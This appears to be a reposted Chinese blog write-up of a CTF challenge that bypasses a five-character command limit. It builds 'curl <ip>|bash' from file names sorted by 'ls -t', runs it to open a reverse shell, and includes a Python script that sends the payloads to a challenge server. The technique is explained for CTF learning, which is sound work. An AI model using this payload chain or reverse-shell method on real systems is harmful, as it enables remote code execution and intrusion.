当前位置:网站首页>CTF命令执行题目解题思路
CTF命令执行题目解题思路
2022-08-02 22:03:00 【wespten】
CTF存在命令执行漏洞题目,单次输入字符不得大于5。
利用linux下特有的命令来写入shell反弹。
原理就是利用curl ip|bash等很多方式去反弹shell。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)
在自己服务器中放入bash一句话,利用curl ip|bash反弹shell。
开启监听,执行后可反弹shell。
利用linux文件写入技巧:
ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中
可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。
边栏推荐
- 从月薪10k到30k的必走之路:自动化测试
- Abstract Factory Pattern
- 第十章 时序与延迟
- 牛客刷题:手动实现数组filter方法
- mysql根据多字段分组——group by带两个或多个参数
- Unity WallFxPack使用
- 学习基因富集工具DAVID(3)
- Flink-SQL
- 【使用pyside2遇到的问题】This application failed to start because no Qt platform plugin could be initialized.
- Interviewer: can you talk about optimistic locking and pessimistic locks
猜你喜欢
随机推荐
YAML文件格式
CKA、CKAD、CKS、KCNA、CFCD考试
The only way to go from a monthly salary of 10k to 30k: automated testing
RuoYi-App Startup Tutorial
【TypeScript】深入学习TypeScript类(下)
雷克萨斯lm的安全性如何?
In-depth study TypeScript TypeScript 】 【 class (under)
牛客刷题:手动实现数组filter方法
# 医院管理系统完整项目代码以及数据库建表语句分享
win10桌面图标全部变成白色的怎么办
Flink优化及相关
qt静态编译出现Project ERROR: Library ‘odbc‘ is not defined
辅助脚本开发之旅
若依集成minio实现分布式文件存储
【使用pyside2遇到的问题】This application failed to start because no Qt platform plugin could be initialized.
vscode 自定义快捷键——设置eslint
UDP (User Datagram Protocol)
双轴晶体中锥形折射的建模与应用
The interviewer asked me: delete library, in addition to run do?
软件测试笔试题1(附答案)